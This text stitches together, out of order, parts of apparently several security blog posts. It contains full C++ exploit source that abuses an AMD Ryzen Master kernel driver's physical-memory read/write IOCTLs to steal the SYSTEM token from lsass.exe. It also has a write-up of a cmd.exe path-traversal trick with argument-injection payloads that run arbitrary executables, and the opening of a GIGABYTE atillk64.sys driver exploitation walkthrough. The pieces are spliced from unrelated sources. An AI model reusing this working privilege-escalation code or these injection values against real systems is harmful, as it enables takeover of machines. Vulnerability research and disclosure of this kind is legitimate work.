exit(1);
}
So now at this point I had the location and values of every thing I cared about and it was time to leverage the Write What Where routine we had found.
The problem I was facing was that I need my calls to MmMapIoSpace
to be page-aligned so that the calls remain stable and we don’t get any unnecessary BSODs.
So let’s picture a page of memory as a line.
<—————–MEMORY PAGE—————–>
We can only write in page-size chunks; however, the value we want to overwrite, the value of the cmd.exe
process’s Token
, is most-likely not page-aligned. So now we have this:
<———TOKEN——————————->
I could do a direct write at the exact address of this Token
value, but my call to MmMapIoSpace
would not be page-aligned.
So what I did was one more Read What Where call to store everything on that page of memory in a buffer and then overwrite the cmd.exe
Token
with the lsass.exe
Token
and then use that buffer in my call to the Write What Where routine.
So instead of an 8 byte write to simply overwrite the value, I’d be opting to completely overwrite that entire page of memory but only changing 8 bytes, that way the calls to MmMapIoSpace
stay clean.
You can see some of that math in the code snippet below with references to modulus
. Remember that the Write What Where utilized the input buffer of DeviceIoControl
as the buffer it would copy over into the kernel memory:
if (!DeviceIoControl(
hFile,
READ_IOCTL,
&input_buff,
0x40,
output_buff,
modulus + 0xc,
&bytes_ret,
NULL))
{
cout << "[!] Failed the read operation to copy the cmd.exe page...\n";
cout << "[!] Last error: " << hex << GetLastError() << "\n";
exit(1);
}
PBYTE results = (PBYTE)((INT64)output_buff + 0xc);
PBYTE cmd_page_buff = (PBYTE)VirtualAlloc(
NULL,
modulus + 0x8,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
DWORD num_of_bytes = modulus + 0x8;
INT64 start_address = cmd_token_address;
cout << "[>] cmd.exe token located at: " << hex << start_address << "\n";
INT64 new_token_val = system_tokens.token_value[0];
cout << "[>] Overwriting token with value: " << hex << new_token_val << "\n";
memcpy(cmd_page_buff, results, modulus);
memcpy(cmd_page_buff + modulus, (void*)&new_token_val, 0x8);
// PhysicalAddress
// NumberOfBytes
// Buffer to be copied into system space
BYTE input[0x1000] = { 0 };
memcpy(input, (void*)&cmd_page, 0x8);
memcpy(input + 0x8, (void*)&num_of_bytes, 0x4);
memcpy(input + 0xc, cmd_page_buff, modulus + 0x8);
if (DeviceIoControl(
hFile,
WRITE_IOCTL,
input,
modulus + 0x8 + 0xc,
NULL,
0,
&bytes_ret,
NULL))
{
cout << "[>] Write operation succeeded, you should be nt authority/system\n";
}
else {
cout << "[!] Write operation failed, exiting...\n";
exit(1);
}
You can see the mandatory full exploit screenshot below:
Big thanks to Tod Beardsley at Rapid7 for his help with the disclosure process!
#include <iostream>
#include <vector>
#include <chrono>
#include <iomanip>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\AMDRyzenMasterDriverV15"
#define WRITE_IOCTL (DWORD)0x81112F0C
#define READ_IOCTL (DWORD)0x81112F08
#define START_ADDRESS (INT64)0x100000000
#define STOP_ADDRESS (INT64)0x240000000
// Creating vector of hex representation of ImageFileNames of common
// SYSTEM processes, eg. 'wmlms.exe' = hex('exe.smlw')
vector<INT64> SYSTEM_procs = {
//0x78652e7373727363, // csrss.exe
0x78652e737361736c, // lsass.exe
//0x6578652e73736d73, // smss.exe
//0x7365636976726573, // services.exe
//0x6b6f72426d726753, // SgrmBroker.exe
//0x2e76736c6f6f7073, // spoolsv.exe
//0x6e6f676f6c6e6977, // winlogon.exe
//0x2e74696e696e6977, // wininit.exe
//0x6578652e736d6c77, // wlms.exe
};
typedef struct {
INT64 start_address;
DWORD num_of_bytes;
PBYTE write_buff;
} WRITE_INPUT_BUFFER;
typedef struct {
INT64 start_address;
DWORD num_of_bytes;
char receiving_buff[0x1000];
} READ_INPUT_BUFFER;
// This struct will hold the address of a "Proc" tag's page entry,
// that Proc chunk's header size, and how far into the page the "Proc" tag is
struct PROC_DATA {
std::vector<INT64> proc_address;
std::vector<INT64> page_entry_offset;
std::vector<INT64> header_size;
};
struct SYSTEM_TOKENS {
std::vector<INT64> token_name;
std::vector<INT64> token_value;
} system_tokens;
INT64 cmd_token_address = 0;
HANDLE grab_handle(const char* device_name) {
HANDLE hFile = CreateFileA(
device_name,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
cout << "[!] Unable to grab handle to " << DEVICE_NAME << "\n";
exit(1);
}
else
{
cout << "[>] Grabbed handle 0x" << hex
<< (INT64)hFile << "\n";
return hFile;
}
}
PROC_DATA read_mem(HANDLE hFile) {
cout << "[>] Reading through RAM for Proc tags...\n";
DWORD num_of_bytes = 0x1000;
LPVOID output_buff = VirtualAlloc(NULL,
0x100c,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
PROC_DATA proc_data;
int proc_count = 0;
INT64 iteration = 0;
while (true) {
INT64 start_address = START_ADDRESS + (0x1000 * iteration);
if (start_address >= 0x240000000) {
cout << "\n[>] Max address reached.\n";
cout << "[>] Number of iterations: " << dec << iteration << "\n";
return proc_data;
}
READ_INPUT_BUFFER input_buff = { start_address, num_of_bytes };
DWORD bytes_ret = 0;
//cout << "[>] User buffer allocated at: 0x" << hex << output_buff << "\n";
//Sleep(500);
if (DeviceIoControl(
hFile,
READ_IOCTL,
&input_buff,
0x40,
output_buff,
0x100c,
&bytes_ret,
NULL))
{
//cout << "[>] DeviceIoControl succeeded!\n";
}
iteration++;
//DebugBreak();
INT64 results_begin = ((INT64)output_buff + 0xc);
for (INT64 i = 0; i < 0xF60; i = i + 0x10) {
PINT64 proc_ptr = (PINT64)(results_begin + 0x4 + i);
INT32 proc_val = *(PINT32)proc_ptr;
if (proc_val == 0x636f7250) {
for (INT64 x = 0; x < 0xA0; x = x + 0x10) {
PINT64 header_ptr = PINT64(results_begin + i + x);
INT32 header_val = *(PINT32)header_ptr;
if (header_val == 0x00B80003) {
proc_count++;
cout << "\r[>] Proc chunks found: " << dec <<
proc_count << flush;
INT64 temp_addr = input_buff.start_address + i;
// This address might not be page-aligned to 0x1000
// so find out how far off from a multiple of
// 0x1000 we are. This value is stored in our
// PROC_DATA struct in the page_entry_offset
// member.
INT64 modulus = temp_addr % 0x1000;
proc_data.page_entry_offset.push_back(modulus);
// This is the page-aligned address where, either
// small or large paged memory will hold our "Proc"
// chunk. We store this as our proc_address member
// in PROC_DATA.
INT64 page_address = temp_addr - modulus;
proc_data.proc_address.push_back(
page_address);
proc_data.header_size.push_back(x);
}
}
}
}
}
}
void parse_procs(PROC_DATA proc_data, HANDLE hFile) {
int system_token_count = 0;
DWORD bytes_ret = 0;
DWORD num_of_bytes = 0x1000;
LPVOID output_buff = VirtualAlloc(
NULL,
0x100c,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
for (int i = 0; i < proc_data.header_size.size(); i++) {
INT64 start_address = proc_data.proc_address[i];
READ_INPUT_BUFFER input_buff = { start_address, num_of_bytes };
if (DeviceIoControl(
hFile,
READ_IOCTL,
&input_buff,
0x40,
output_buff,
0x100c,
&bytes_ret,
NULL))
{
//cout << "[>] DeviceIoControl succeeded!\n";
}
INT64 results_begin = ((INT64)output_buff + 0xc);
INT64 imagename_address = results_begin +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x450; //ImageFileName
INT64 imagename_value = *(PINT64)imagename_address;
INT64 proc_token_addr = results_begin +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x360; //Token
INT64 proc_token = *(PINT64)proc_token_addr;
INT64 pid_addr = results_begin +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x2e8; //UniqueProcessId
INT64 pid_value = *(PINT64)pid_addr;
int sys_result = count(SYSTEM_procs.begin(), SYSTEM_procs.end(),
imagename_value);
if (sys_result != 0) {
system_token_count++;
system_tokens.token_name.push_back(imagename_value);
system_tokens.token_value.push_back(proc_token);
}
if (imagename_value == 0x6578652e646d63) {
//cout << "[>] cmd.exe found!\n";
cmd_token_address = (start_address + proc_data.header_size[i] +
proc_data.page_entry_offset[i] + 0x360);
}
}
if (system_tokens.token_name.size() != 0 and cmd_token_address != 0) {
cout << "\n[>] cmd.exe and SYSTEM token information found!\n";
cout << "[>] Let's swap tokens!\n";
}
else if (cmd_token_address == 0) {
cout << "[!] No cmd.exe token address found, exiting...\n";
exit(1);
}
}
void write(HANDLE hFile) {
DWORD modulus = cmd_token_address % 0x1000;
INT64 cmd_page = cmd_token_address - modulus;
DWORD bytes_ret = 0x0;
DWORD read_num_bytes = modulus;
PBYTE output_buff = (PBYTE)VirtualAlloc(
NULL,
modulus + 0xc,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
READ_INPUT_BUFFER input_buff = { cmd_page, read_num_bytes };
if (!DeviceIoControl(
hFile,
READ_IOCTL,
&input_buff,
0x40,
output_buff,
modulus + 0xc,
&bytes_ret,
NULL))
{
cout << "[!] Failed the read operation to copy the cmd.exe page...\n";
cout << "[!] Last error: " << hex << GetLastError() << "\n";
exit(1);
}
PBYTE results = (PBYTE)((INT64)output_buff + 0xc);
PBYTE cmd_page_buff = (PBYTE)VirtualAlloc(
NULL,
modulus + 0x8,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
DWORD num_of_bytes = modulus + 0x8;
INT64 start_address = cmd_token_address;
cout << "[>] cmd.exe token located at: " << hex << start_address << "\n";
INT64 new_token_val = system_tokens.token_value[0];
cout << "[>] Overwriting token with value: " << hex << new_token_val << "\n";
memcpy(cmd_page_buff, results, modulus);
memcpy(cmd_page_buff + modulus, (void*)&new_token_val, 0x8);
// PhysicalAddress
// NumberOfBytes
// Buffer to be copied into system space
BYTE input[0x1000] = { 0 };
memcpy(input, (void*)&cmd_page, 0x8);
memcpy(input + 0x8, (void*)&num_of_bytes, 0x4);
memcpy(input + 0xc, cmd_page_buff, modulus + 0x8);
if (DeviceIoControl(
hFile,
WRITE_IOCTL,
input,
modulus + 0x8 + 0xc,
NULL,
0,
&bytes_ret,
NULL))
{
cout << "[>] Write operation succeeded, you should be nt authority/system\n";
}
else {
cout << "[!] Write operation failed, exiting...\n";
exit(1);
}
}
int main()
{
srand((unsigned)time(0));
HANDLE hFile = grab_handle(DEVICE_NAME);
PROC_DATA proc_data = read_mem(hFile);
cout << "\n[>] Parsing procs...\n";
parse_procs(proc_data, hFile);
write(hFile);
}
This one is about an interesting behavior 🤭 I identified in cmd.exe in result of many weeks of intermittent (private time, every now and then) research in pursuit of some new OS Command Injection attack vectors.
So I was mostly trying to:
StripQuotes
function - I was wrong ¯\(ツ)/¯),And I eventually ended up finding a command/argument confusion with path traversal ... or whatever the fuck this is 😃
For the lazy with no patience to read the whole thing, here comes the magic trick:
Tested on Windows 10 Pro x64 (Microsoft Windows [Version 10.0.18363.836]), cmd.exe version: 10.0.18362.449 (SHA256: FF79D3C4A0B7EB191783C323AB8363EBD1FD10BE58D8BCC96B07067743CA81D5). But should work with earlier versions as well... probably with all versions.
Let's consider the following command line: cmd.exe /c "ping 127.0.0.1"
,
whereas 127.0.0.1
is the argument controlled by the user in an application that runs an external command (in this sample case it's ping). This exact syntax - with the command being preceded with the /c
switch and enclosed in double quotes - is the default way cmd.exe is used by external programs to execute system commands (e.g. PHP shell_exec()
function and its variants).
Now, the user can trick cmd.exe into running calc.exe instead of ping.exe by providing an argument like 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe
, traversing the path to the executable of their choice, which cmd.exe will run instead of the ping.exe binary.
So the full command line becomes:
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"
The potential impact of this includes Denial of Service, Information Disclosure, Arbitrary Code Execution (depending on the target application and system).
Although I am fairly sure there are some other scenarios with OS command execution whereas a part of the command line comes from a different security context than the final command is executed with (Some services maybe? I haven't search myself yet) - anyway let's use a web application as an example.
Consider the following sample PHP code:
Due to the use of escapeshellcmd()
it is not vulnerable to known command injection vectors (except for argument injection, but that's a slightly different story and does not allow RCE with the list of arguments ping.exe supports - no built-in execution arguments like find's -exec).
And I know, I know, some of you will point out that in this case escapeshellarg()
should be used instead - and yup, you would be right, especially since putting the argument in quotes in fact prevents this behavior, as in such case cmd.exe properly identifies the command to run (ping.exe). The trick does not work when the argument is enclosed in single/double quotes.
Anyway - the use of escapeshellcmd() instead of escapeshellarg() is very common. Noticed that while - after finding and registering CVE-2020-12669, CVE-2020-12742 and CVE-2020-12743 ended up spending one more week running automated source code analysis scans against more open source projects and manually following up the results - using my old evil SCA tool for PHP. Also that's what made me fed up with PHP again quite quickly, forcing me to get back to cmd.exe only to let me finally discover what this blog post is mostly about.
I am fairly sure there are applications vulnerable to this (doing OS command injection sanity checks, but failing to prevent path traversal and enclose the argument in quotes).
Also, the notion of similar behavior in other command interpreters is also worth entertaining.
Normal use:
Abuse:
Now, this is what normal use looks like in Sysmon log (process creation event):
So basically the child process (ping.exe) is created with command line equal to the value enclosed between the double quotes preceded by the /c
switch from the parent process (cmd.exe) command line.
Now, the same for the above ipconfig.exe hijack:
And it turns out we are not limited to executables located in directories present in %PATH%
. We can traverse to any location on the same disk.
Also, we are not limited to the EXE extension, neither to the list of "executable" extensions contained in the %PATHEXT%
variable (which by default is .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
- basically these are the extensions cmd.exe will try to add to the name of the command if no extension is provided, e.g. when ping
is used instead of explicit ping.exe
). cmd.exe runs stuff regardless to the extension, something I noticed long ago (https://twitter.com/julianpentest/status/1203386223227572224).
And one more thing - more additional arguments between the original command and the smuggled executable path can be added.
Let's see all of this combined.
For the demonstrative purposes, the following C program was compiled and linked into a PE executable (it simply prints out its own command line):
Copied the EXE into C:\xampp\tmp\cmd.png (consider this as an example of ANY location a malicious user could write a file).
Action:
So we just effectively achieved an equivalent of actual (exec, not just read) PE Local File Inclusion in an otherwise-safe PHP ping script.
But I don't think that our options end here.
I am certain it is also possible to turn this into an RCE even without the possibility of fully/partially controlling any file in the target file system and deliver the payload in the command line itself, thus creating a sort of polymorphic malicious command line payload.
When running the target executable, cmd.exe passes to it the entire part of the command line following the /c
switch.
For instance:
cmd.exe /c "ping 127.0.0.1/../../../../../../../windows/system32/calc.exe"
executes c:\windows\system32\calc.exe with command line equal ping 127.0.0.1/../../../../../../../windows/system32/calc.exe
.
And, as presented in the extended POC, it is possible to hijack the executable even when providing multiple arguments, leading to command lines like:
ping THE PLACE FOR THE RCE PAYLOAD ARGS 127.0.0.1/../../path/to/lol.bin
This is the command line lol.bin
would be executed with. Finding a proxy execution LOLBin tolerant enough to invalid arguments (since we as attackers cannot fully control them) could turn this into a full RCE.
The LOLBin we need is one accepting/ignoring the first argument (which is the hardcoded command we cannot control, in our example "ping"), while also willing to accept/ignore the last one (which is the traversed path to itself). Something like https://lolbas-project.github.io/lolbas/Binaries/Ieexec/, but actually accepting multiple arguments while quietly ignoring the incorrect ones.
Also, I was thinking of powershell.
Running this:
cmd.exe /c "ping ;calc.exe; 127.0.0.1/../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE"
makes powershell start with command line of
ping ;calc.exe 127.0.0.1/../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE
I expected it to treat the command line as a string of inline commands and run calc.exe after running ping.exe. Yes, I know, a semicolon is used here to separate ping from calc - but the semicolon character is NOT a command separator in cmd.exe, while it is in powershell (on the other hand almost all OS Command Injection filters block it anyway, as they are written universally with multiple platforms in mind - cause obviously the semicolon IS a command separator in unix shells).
A perfect supported syntax here would be some sort of simple base64-encoded code injection like powershell's -EncodedCommand
, having found a way to make it work even when preceded with a string we cannot control. Anyway, this attempt led to powershell running in interactive mode instead of treating the command line as a sequence of inline commands to execute.
Anyway, at this point turning this into an RCE boils down to researching the behaviors of particular LOLbins, focusing on the way they process their command line, rather than researching cmd.exe itself (although yes, I also thought about self-chaining and abusing cmd.exe as the LOLbin for this, in hope for taking advantage of some nuances between the way it parses its command line when it does and when it does not start with the /c
switch).
I know this looks silly enough to suggest I found it while ramming that sample PHP code over HTTP with Burp while watching Procmon with proper filters... or something like that (which isn't such a bad idea by the way)... as opposed to writing a custom cmd.exe fuzzer (no, you don't need to tell me my code is far away from elegant, I did not expect anyone would read it neither that I would reuse it), then after obtaining rather boring and disappointing results, spending weeks on static analysis with Ghidra (thanks NSA, I am literally in love with this tool), followed up with more weeks of further work with Ghidra while simultaneously manually debugging with x64dbg while further expanding comments in the Ghidra project 😂
cmd.exe command line processing starts in the CheckSwitches
function (which gets called from Init
, which itself gets called from main
). CheckSwitches
is responsible for determining what switches (like /c
, /k
, /v:on
etc.) cmd.exe was called with. The full list of options can be found in cmd.exe /?
help (which by the way, to my surprise, reflects the actual functionality pretty well).
I spent a good deal of time analyzing it carefully, looking for hidden switches, logic issues allowing to smuggle multiple switches via the command line by jumping out of the double quotes, quote-stripping issues and whatever else would just manifest to me as I dug in.
If the /c
switch is detected, processing moves to the actual command line enclosed in double quotes - which is the most common mode cmd.exe is used and the only one the rest of this write-up is about:
The same mode can be attained with the /r
switch:
After some further logic, doing, among other things, parsing the quoted string and making some sanity fixes (like removing any spaces if any found from its beginning), a function with a very encouraging and self-explanatory name is called:
Disassembly view:
Decompiler view:
At this point it was clear it was high time for debugging to come into play.
By default x64dbg will set up a breakpoint at the entry point - mainCRTStartup
.
This is a good opportunity to set an arbitrary command line:
Then start cmd.exe once again (Debug-> Restart
).
We also set up a breakpoint on the top of the SearchForExecutable
function, so we catch all its instances.
We run into the first instance of SearchForExecutable
:
We can see that the double-quoted proper command line (after cmd.exe skips the preceding cmd.exe /c
) along with its double quotes is held in RBX
and R15
. Also, the value on the top of the stack (right bottom corner) contains an address pointing at CheckSwitches
- it's the saved RET
. So we know this instance is called from CheckSwitches
.
If we hit F9
again, we will run into the second instance of SearchForExecutable
, but this time the command line string is held in RAX
, RDI
and R11
, while the call originates from another function named ECWork
:
This second instance resolves and returns the full path to ping.exe.
Below we can see the body of the ECWork
function, with a call to SearchForExecutable
(marked black). This is where the RIP
was at when the screenshot was taken - right before the second call of SearchForExecutable
:
Now, on below screenshot the SearchForExecutable
call already returned (note the full path to ping.exe pointed at with the address held in R14
). Fifteen instructions later the ExecPgm
function is called, using the newly resolved executable path to create the new process:
So - seeing SearchForExecutable
being called against the whole ping 127.0.0.1
string (uh yeah, those evil spaces) suggests potential confusion between the full command line and an actual file name... So this gave me the initial idea to check whether the executable could be hijacked by literally creating one under a name equal to the command line that would make it run:
Uh really? Interesting. I decided to have a look with Procmon in order to see what file names cmd.exe attempts to open with CreateFile
:
So yes, the result confirmed opening a copy of calc.exe from the file literally named ping .PNG
in the current working directory:
Now, interestingly, I would not see any results with this Procmon filter (Operation = CreateFile) if I did not create the file first...
One would expect to see cmd.exe mindlessly calling CreateFile
against nonexistent files with names being various mutations of the command line, with NAME NOT FOUND
result - the usual way one would search for potential DLL side loading issues... But NOT in this case - cmd.exe actually checks whether such file exists before calling CreateFile
, by calling QueryDirectory
instead:
For this purpose, in Procmon, it is more accurate to specify a filter based on the payload's unique magic string (like PNG
in this case, as this would be the string we as attackers could potentially control) occurring in the Path property instead of filtering based on the Operation.
"So, anyway, this isn't very useful" - I thought and got back to x64dbg.
"We can only hijack the command if we can literally write a file under a very dodgy name into the target application's current directory... " - I kept thinking - "... Current directory... u sure ONLY current directory?" - and at this point my path traversal reflex lit up, a seemingly crazy and desperate idea to attempt traversal payloads against parts of the command line parsed by SearchForExecutable
.
Which made me manually change the command line to ping 127.0.0.1/../calc.exe
and restart debugging... while already thinking of modifying the cmd.exe fuzzer in order to throw a set payloads generated for this purpose with psychoPATH against cmd.exe... But that never happened because of what I saw after I hit F9
one more time.
Below we can see x64dbg with cmd.exe ran with cmd.exe /c "ping 127.0.0.1/../calc.exe"
command line (see RDI
). We are hanging right after the second SearchForExecutable
call, the one originating from the bottom of the ECWork
function. Just few instructions before calling ExecPgm
, which is about to execute the PE pointed by R14
. The full path to C:\Windows\System32\calc.exe
present R14
is the result of the just-returned SearchForExecutable("ping 127.0.0.1/../calc.exe")
call preceding the current RIP
:
The traversal appears to be relative to a subdirectory of the current working directory (calc.exe is at c:\windows\system32\calc.exe
):
"Or maybe this is just a result of a failed path traversal sanity check, only removing the first occurrence of ../
?" - I kept wondering.
So I dug further into the SearchForExecutable
function, also trying to find the answer why variants of the argument created by splitting it by spaces are considered and why the most-to-the-right one is chosen first when found.
I narrowed down the culprit code to the instructions within the SearchForExecutable
function, between the call of mystrcspn
at 14000ff64 and then the call of the FullPath
function at 14001005b and exists_ex
at 140010414:
In the meantime I received the following feedback from Microsoft:
We do have a blog post that helps describe the behavior you have documented: https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats.
Cmd.exe first tries to interpret the whole string as a path: "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe” string is being treated as a relative path, so “ping 127.0.0.1” is interpreted as a segment in that path, and is removed due to the preceding “../” this should help explain why you shouldn’t be able to use the user controlled input string to pass arguments to the executable.
There are a lot a cases that would require that behaviour, e.g. cmd.exe /c "....\Program Files (x86)\Internet Explorer\iexplore.exe" we wouldn’t want that to try to run some program “....\Program” with the argument “Files (x86)\Internet Explorer\iexplore.exe”.
It’s only if the full string can’t be resolved to a valid path, that it splits on spaces and takes everything before the first space as the intended executable name (hence why “ping 127.0.0.1” does work).
So yeah... those evil spaces and quoting.
From this point, I only escalated the issue by confirming the possibility of traversing to arbitrary directories as well as the ability to force execution of PE files with arbitrary extensions.
Interestingly, this slightly resembles the common unquoted service path issue, except that in this case the most-to-the-right variant gets prioritized.
Upon discovery I documented and reported this peculiarity to MSRC. After little less than six days the report was picked up and reviewed. About a week later Microsoft completed their assessment, concluding that this does not meet the bar for security servicing:
On one hand, I was little disappointed that Microsoft would not address it and I was not getting the CVE in cmd.exe I have wanted for some time.
On the other hand, at least nothing's holding me back from sharing it already and hopefully it will be around for some time so we can play with it 😃 It's not a vulnerability, it's a technique 😃
I would like thank Microsoft for making all of this possible - and for being nice enough to even offer me a review of this post! Which was completely unexpected, but obviously highly appreciated.
Researching stuff can sometimes appear to be a lonely and thankless journey, especially after days and weeks of seemingly fruitless drudging and sculpturing - but I realized this is just a short-sighted perception, whereas success is exclusively measured by the number of uncovered vulnerabilities/features/interesting behaviors (no point to argue about the terminology here 😃). In offensive security we rarely pay attention to the stuff we tried and failed, even though those failed attempts are equally important - as if we did not try, we would never know what's there (and risk false negatives). Curiosity and the need to know. And software is full of surprises.
Plus, simply dealing with a particular subject (like analyzing a given program/protocol/format) and gradually getting more and more familiar with it feeds our minds with new mental models, which makes us automatically come up with more and more ideas for potential bugs, scenarios and weird behaviors as we keep hacking. A journey through code accompanied by new inspirations, awarded with new knowledge and the peace of mind resulting from answering questions... sometimes ending with great satisfaction from a unique discovery.
I’ve been focusing, really since the end of January, on working through the FuzzySecurity exploit development tutorials on the HackSysExtremeVulnerableDriver to try and learn some more about Windows kernel exploitation and have really enjoyed my time a lot.
During this time, @ihack4falafel released some proof-of-concept exploits[1][2] against several Windows kernel-mode drivers. The takeaway from these write-ups, for me, was that 3rd party drivers that are responsible for overclocking, RGB light-management, hardware diagnostics are largely broken.
The types of vulnerabilities that were disclosed in these write-ups often were related to low-privileged users having the ability to interact with a kernel-mode driver that was able to directly manipulate physical memory, where all kinds of privileged information resides.
The last FuzzySecurity Windows Exploit Development Tutorial Series is b33f’s exploit against a Razer driver exploiting this very same type of vulnerability.
Getting more interested in this type of bug, I sought out more write-ups and found some great proof-of-concepts:
After reading through those, I decided to just start downloading similar software and searching for drivers that I hadn’t seen CVEs for and that had some key APIs. My criteria when searching was that the driver had to:
MmMapIoSpace
or ZwMapViewOfSection
import.As someone who is very new to this type of thing, I figured with the help of the aforementioned walkthroughs, if I was able to find a driver that would allow me to interact with physical memory I could successfully develop an exploit.
This is kind of a niche space and as a new person getting into this very specific type of target I wasn’t really aware of the best places to look for more information about these types of vulnerable drivers. The first few things I checked was that there were no CVEs for the driver and that the driver hadn’t been mentioned on Twitter by security researchers. By the time I had reversed the driver and discovered it to be vulnerable in theory, but without a working exploit, I realized that the driver had been classified as vulnerable by researchers Jesse Michael and Mickey Shkatov at Eclypsium. The driver gets a small mention in their github repo but without specifically identifying the vulnerabilities that exist.
I’m not claiming responsibility for finding the vulnerability, since I was far from the first. Jesse and Mickey were given all of the credit on the CVE application and I can prove this upon request.
I was able to get in contact with Jesse via Twitter and he was extremely charitable with his time. He gave me a great explanation of their interactions with a vendor about the driver.
At this point, since there was no published proof-of-concept, I decided to press on and develop the exploit, which Jesse wholeheartedly supported and encouraged. I figured I’d develop an exploit, show AMD the proof-of-concept, and give them 90 days to respond/patch or explain that they’re not concerned.
Huge thanks to Jesse for being so charitable. He’s also incredibly knowledgeable and was willing to teach me tons of things along the way when answering my questions.
One of the first software packages I downloaded was GIGABYTE’s Fusion 2.0 software which comes with several drivers. I won’t get any more in-depth with the types of drivers included other than the subject of this post, atillk64.sys
. Using default installation options, the driver was installed here: C:\Program Files (x86)\GIGABYTE\RGBFusion\AtiTool\atillk64.sys
.
The driver file description states the product name is ATI Diagnostics
version 5.11.9.0
and its copyright is ATI Technologies Inc. 2003
. I’m not sure what other software packages out there also install this driver, but I’m sure Fusion 2.0 isn’t the only one. I’ve found that several of these hardware diagnostic/configuration software suites install licensed drivers that are often slightly modified (or not modified at all!) versions of known-to-be vulnerable code-bases like the classic WinIO.sys
.
The first thing I needed to know was what types of permissions the driver had and if lower-privileged users could interact with the driver. Looking at the device with OSR’s devicetree, we can see that this is the case.
Reversing the driver was pretty easy even as a complete novice just because it is so small. There is the hardly any surface area to explore and the IOCTL handler routine was pretty straightforward. MmMapIoSpace
was one of the imports so I was already interested at this point.
One routine caught my attention early on because the API call chain was very similar to one of the driver routines that @ihack4falafel wrote up a proof-of-concept for.
The routine first calls MmMapIoSpace
, which takes a physical address as a parameter and a length (and cache type) and maps that memory into system memory and returns a pointer to the now virtual address that corresponds to the beginning of the physical memory you asked to be mapped. So at this point, this system address is not available to us as a userland process. It is stored in rax
and the result is checked to make sure the API call succeeded and did not return NULL
. After some experimentation, as long as we pass a check that our input buffer is 0x18
in length, we are able to completely control two of the MmMapIoSpace
parameters: NumberOfBytes
and PhysicalAddress
. These values are taken from rdi
offsets which is the address of our input buffer. CacheType
is hardcoded as 0
.
If the call succeeded, a call is made to IoAllocateMdl
with the same values. The virtual address returned by MmMapIoSpace
is given as a parameter as well as the same Length
value. This API also associates our newly created MDL
with an IRP
.
If the call succeeded, a subsequent call is made to MmBuildMdlForNonPagedPool
which takes the MDL
we just created and ‘updates it to describe the underlying physical pages.’ MSDN states that IoAllocateMdl
doesn’t initialize the data array that follows the MDL
structure, and that drivers should call MmBuildMdlForNonPagedPool
to initialize the array and describe the physical memory in which the buffer resides.
Next, is a call to MmMapLockedPages
, which is an old an deprecated API. This call takes the updated MDL
and maps the physical pages that are described by it into our process space. It returns the starting address of this mapping to us eventually you’ll see as the return value (rax
) is eventually placed in rbx
and moved to [rdi]
which will be our output buffer in DeviceIoControl
.
Subsequent API calls to IoFreeMdl
and MmUnmapIoSpace
perform some cleanup and free up the pool allocations (as far as I know, please correct me if I’m wrong).
The first 8 bytes of our output buffer at this point hold a pointer to the mapped memory in our process space.
Say we mapped 0x1000
bytes from physical address offset 0x100000000
all of the data from 0x100000000
to 0x100001000
would be available to us within our process space. This is bad because we are a low-privileged process and this data can contain arbitrary system/privileged data.
The strategy for exploiting this was heavily informed by FuzzySec’s approach to exploiting his aforementioned Razer driver. At a high-level we are going to:
cmd.exe
) and note the location of our security token,SYSTEM
(something like lsass.exe
) and note the value of its security token,SYSTEM
process token value to gain nt authority/system
.Following along with FuzzySec’s strategy here, the first thing we need to do is identify what these data structures actually look like in the pool. There will be pool chunk header and then a tag prepended to each pool allocation. The tag we’ll be looking for in our mapped memory is “Proc”, which is 0x636f7250
as an integer value.
To find some examples, we can use the kd !poolfind "Proc"
command to identify pool allocations with our tag.
Looking at the output, we see we started scanning large pool allocations for the tag. I quit the process after 5 minutes or so as this should be enough sample data.
Scanning large pool allocation table for tag 0x636f7250 (Proc) (ffffd48c9d250000 : ffffd48c9d550000)
ffffd48ca040f340 : tag Proc, size 0xb70, Nonpaged pool
ffffd48ca10bd380 : tag Proc, size 0xb70, Nonpaged pool
ffffd48ca53b83e0 : tag Proc, size 0xb70, Nonpaged pool
ffffd48ca21c60b0 : tag Proc, size 0xb70, Nonpaged pool
ffffd48cb36e6410 : tag Proc, size 0xb70, Nonpaged pool
ffffd48ca09533b0 : tag Proc, size 0xb70, Nonpaged pool
ffffd48ca08c8310 : tag Proc, size 0xb70, Nonpaged pool
ffffd48c9bfd40c0 : tag Proc, size 0xb70, Nonpaged pool
ffffd48c9e59d310 : tag Proc, size 0xb70, Nonpaged pool
ffffd48c9fce0310 : tag Proc, size 0xb70, Nonpaged pool
ffffd48ca150f400 : tag Proc, size 0xb70, Nonpaged pool
ffffd48cae7de390 : tag Proc, size 0xb70, Nonpaged pool
ffffd48ca0ddc330 : tag Proc, size 0xb70, Nonpaged pool
Just plugging in the first address there in the WinDBG Preview memory pane, we can see that from this address, if we subtract 0x10
and then add 0x4
, we see our “Proc” tag.
kd> da ffffd48ca040f340-0x10+0x4
ffffd48c`a040f334 "[email protected]"
So we’ve identified a “Proc” pool allocation and we have a good idea of how they are allocated. As b33f explains, they are all 0x10
aligned, so every address here ends in a 0
. We know that at some arbitrary address ending in 0
, if we look at <address> + 0x4
that is where a “Proc” tag might be.
So the first strategy we’ll employ in parsing for data we’re interested in, is to start at our mapped address and iterate by 0x10
each time and checking the value of our address + 0x4
for “Proc”.
From here, we can appeal to the EPROCESS
structure to find the hardcoded offsets to EPROCESS
members we’re interested in, which are going to be:
ImageFileName
(the name of the process),UniqueProcessId
, andToken
